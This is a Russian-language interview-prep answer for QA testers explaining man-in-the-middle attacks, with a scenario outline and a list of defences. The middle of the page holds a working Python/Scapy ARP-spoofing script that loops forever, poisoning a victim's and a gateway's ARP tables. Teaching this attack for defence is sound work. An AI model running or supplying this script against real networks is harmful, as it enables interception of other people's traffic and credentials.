Что такое атака «человек посередине» (MITM)?

«Что такое атака «человек посередине» (MITM)?» — вопрос из категории Тестирование безопасности, который задают на 10% собеседований QA Тестировщик. Ниже — развёрнутый ответ с разбором ключевых моментов.

Ответ

Атака "человек посередине" (Man-in-the-Middle, MITM) — это тип кибератаки, при которой злоумышленник тайно перехватывает, а иногда и модифицирует коммуникацию между двумя сторонами (например, клиентом и сервером), которые считают, что общаются напрямую.

Типичный сценарий атаки:

  1. Перехват трафика: Атакующий позиционирует себя между жертвой и целевым ресурсом (например, через поддельную точку доступа Wi-Fi, ARP-спуфинг или компрометацию маршрутизатора).
  2. Дешифровка (при необходимости): Если трафик зашифрован (HTTPS), атакующий может использовать методы для подмены сертификатов.
  3. Просмотр/Изменение данных: Злоумышленник получает доступ к конфиденциальным данным (логины, пароли, платежные реквизиты) или внедряет вредоносный код.

Пример реализации ARP-спуфинга (подмены ARP-таблицы) с помощью Python и Scapy:

from scapy.all import ARP, send, getmacbyip
import time

def arp_spoof(target_ip, spoof_ip):
    """
    Отправляет поддельный ARP-ответ, чтобы "убедить" target_ip,
    что MAC-адрес spoof_ip принадлежит атакующему.
    """
    target_mac = getmacbyip(target_ip)
    # Создаём поддельный ARP-пакет: говорим target, что шлюз (spoof_ip) это мы.
    spoof_packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    send(spoof_packet, verbose=False)

# Пример вызова: перенаправляем трафик жертвы (192.168.1.100) через атакующего
while True:
    arp_spoof("192.168.1.100", "192.168.1.1")  # Жертва -> Шлюз
    arp_spoof("192.168.1.1", "192.168.1.100")  # Шлюз -> Жертва
    time.sleep(2)  # Поддерживаем атаку, периодически отправляя пакеты

Меры защиты от MITM:

  • Использование строгого шифрования: HTTPS (с HSTS), VPN, SSH (с проверкой отпечатка ключа).
  • Проверка сертификатов: Внимание к предупреждениям браузера о недействительных сертификатах.
  • Сетевые механизмы: DHCP snooping, Dynamic ARP Inspection (DAI) на коммутаторах.
  • Аутентификация на уровне канала: Например, использование WPA2/WPA3 для Wi-Fi.